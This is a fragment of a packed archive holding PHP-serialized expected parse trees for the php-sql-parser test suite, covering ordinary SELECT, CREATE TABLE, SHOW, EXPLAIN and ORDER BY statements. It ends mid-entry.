    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue40b.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"t";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:""abcd"";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'efgh'";s:8:"sub_tree";b:0;}}}PK     \LZ0)    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue70.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"`column`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"column";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;s:8:"position";i:21;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"col";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"col";}}s:8:"sub_tree";b:0;s:8:"position";i:33;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:36;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:""value"";s:8:"sub_tree";b:0;s:8:"position";i:37;}}}PK     \    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue233.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"moomoo";s:4:"name";s:6:"moomoo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"moomoo";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:18:" (cow VARCHAR(20))";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"cow VARCHAR(20)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"cow";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"cow";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:11:"VARCHAR(20)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"VARCHAR";s:6:"length";s:2:"20";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:4:"(20)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"20";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";b:0;}}PK     \B  B  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33q.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ti";s:4:"name";s:2:"ti";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ti";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:46:" (id INT, amount DECIMAL(7,2), purchased DATE)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:19:"amount DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"DECIMAL";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";s:1:"7";s:8:"decimals";s:1:"2";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:14:"purchased DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=INNODB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"INNODB";}}}}s:17:"partition-options";a:1:{i:0;a:4:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:45:"PARTITION BY LIST COLUMNS (purchased, amount)";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:3:{s:9:"expr_type";s:14:"partition-list";s:9:"base_expr";s:32:"LIST COLUMNS (purchased, amount)";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LIST";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COLUMNS";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:19:"(purchased, amount)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}}}}}}s:2:"by";s:4:"LIST";}}}}PK     \m|M  M  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue56b.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:20:"-- an inline comment";}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"acol";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"acol";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:17:"--another comment";}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;s:8:"position";i:72;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:92;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:94;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:96;}}}PK     \|  |  K  vendor/greenlion/php-sql-parser/tests/expected/parser/positions1.serializednu [        a:3:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"a.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"c.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:12;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:12:"u.users_name";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"u";i:1;s:10:"users_name";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:17;}}s:4:"FROM";a:3:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"SURVEYS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"SURVEYS";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"as a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"position";i:43;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"SURVEYS as a";s:8:"sub_tree";b:0;s:8:"position";i:35;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:24:"SURVEYS_LANGUAGESETTINGS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:24:"SURVEYS_LANGUAGESETTINGS";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"c";s:9:"base_expr";s:4:"as c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"position";i:85;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:9:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:65:"( surveyls_survey_id = a.sid AND surveyls_language = a.language )";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:18:"surveyls_survey_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"surveyls_survey_id";}}s:8:"sub_tree";b:0;s:8:"position";i:95;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:114;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"a.sid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"sid";}}s:8:"sub_tree";b:0;s:8:"position";i:116;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:122;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:17:"surveyls_language";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:17:"surveyls_language";}}s:8:"sub_tree";b:0;s:8:"position";i:126;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:144;}i:6;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"a.language";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:8:"language";}}s:8:"sub_tree";b:0;s:8:"position";i:146;}}s:8:"position";i:93;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:159;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:18:"surveyls_survey_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"surveyls_survey_id";}}s:8:"sub_tree";b:0;s:8:"position";i:163;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:181;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"a.sid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"sid";}}s:8:"sub_tree";b:0;s:8:"position";i:182;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;s:8:"position";i:188;}i:6;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:17:"surveyls_language";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:17:"surveyls_language";}}s:8:"sub_tree";b:0;s:8:"position";i:192;}i:7;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:209;}i:8;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"a.language";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:8:"language";}}s:8:"sub_tree";b:0;s:8:"position";i:210;}}s:9:"base_expr";s:160:"SURVEYS_LANGUAGESETTINGS as c ON ( surveyls_survey_id = a.sid AND surveyls_language = a.language ) AND surveyls_survey_id=a.sid and surveyls_language=a.language";s:8:"sub_tree";b:0;s:8:"position";i:60;}i:2;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"USERS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"USERS";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"u";s:9:"base_expr";s:4:"as u";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"u";}}s:8:"position";i:239;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:18:"(u.uid=a.owner_id)";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"u.uid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"u";i:1;s:3:"uid";}}s:8:"sub_tree";b:0;s:8:"position";i:248;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:253;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"a.owner_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:8:"owner_id";}}s:8:"sub_tree";b:0;s:8:"position";i:254;}}s:8:"position";i:247;}}s:9:"base_expr";s:32:"USERS as u ON (u.uid=a.owner_id)";s:8:"sub_tree";b:0;s:8:"position";i:233;}}s:5:"ORDER";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"surveyls_title";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"surveyls_title";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";s:8:"position";i:276;}}}PK     \sB      I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue62c.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"table1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"table1";}}s:5:"alias";b:0;s:5:"hints";a:1:{i:0;a:2:{s:9:"hint_type";s:12:"IGNORE INDEX";s:9:"hint_list";s:9:"(PRIMARY)";}}s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:28:"table1 IGNORE INDEX(PRIMARY)";s:8:"sub_tree";b:0;}}}PK     \Xt  t  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue78c.serializednu [        a:1:{s:7:"EXPLAIN";a:2:{i:0;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"foo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:5:"alias";b:0;s:9:"base_expr";s:3:"foo";s:8:"position";i:8;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"bar";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"bar";}}s:8:"position";i:12;}}}PK     \n    N  vendor/greenlion/php-sql-parser/tests/expected/parser/tableoptions2.serializednu [        a:1:{s:5:"UNION";a:2:{i:0;a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:3:" ()";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:0:"";s:8:"sub_tree";a:0:{}}}}s:7:"options";b:0;}}i:1;a:1:{s:7:"BRACKET";a:1:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:23:"(tableA, tableB,tableC)";s:8:"sub_tree";b:0;}}}}}PK     \wN  N  F  vendor/greenlion/php-sql-parser/tests/expected/parser/show1.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"columns";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"from";}i:2;a:4:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"`foo.bar`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"foo.bar";}}s:9:"base_expr";s:9:"`foo.bar`";}}}PK     \*+  +  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue68.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:12:"a.`admin_id`";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:8:"admin_id";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"admins";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"admins";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:32;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"admins a";s:8:"sub_tree";b:0;s:8:"position";i:25;}}s:5:"WHERE";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:16:"a.admin_username";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:14:"admin_username";}}s:8:"sub_tree";b:0;s:8:"position";i:40;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:56;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"?";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"?";}}s:8:"sub_tree";b:0;s:8:"position";i:57;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:59;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:16:"a.admin_password";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:14:"admin_password";}}s:8:"sub_tree";b:0;s:8:"position";i:63;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:79;}i:6;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"?";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"?";}}s:8:"sub_tree";b:0;s:8:"position";i:80;}}}PK     \$D    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue79b.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:5:{s:9:"expr_type";s:18:"bracket_expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:9:"base_expr";s:9:"(@aa:=id)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@aa";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"aa";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:":=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:18:"bracket_expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"AS b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:9:"base_expr";s:7:"(@aa+3)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@aa";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"aa";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"tbl_name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"tbl_name";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"tbl_name";s:8:"sub_tree";b:0;}}s:6:"HAVING";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}PK     \>C  C  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue55b.serializednu [        a:1:{s:5:"ORDER";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"table.c";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"table";i:1;s:1:"c";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}}}PK     \}    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue36c.serializednu [        a:2:{s:6:"INSERT";a: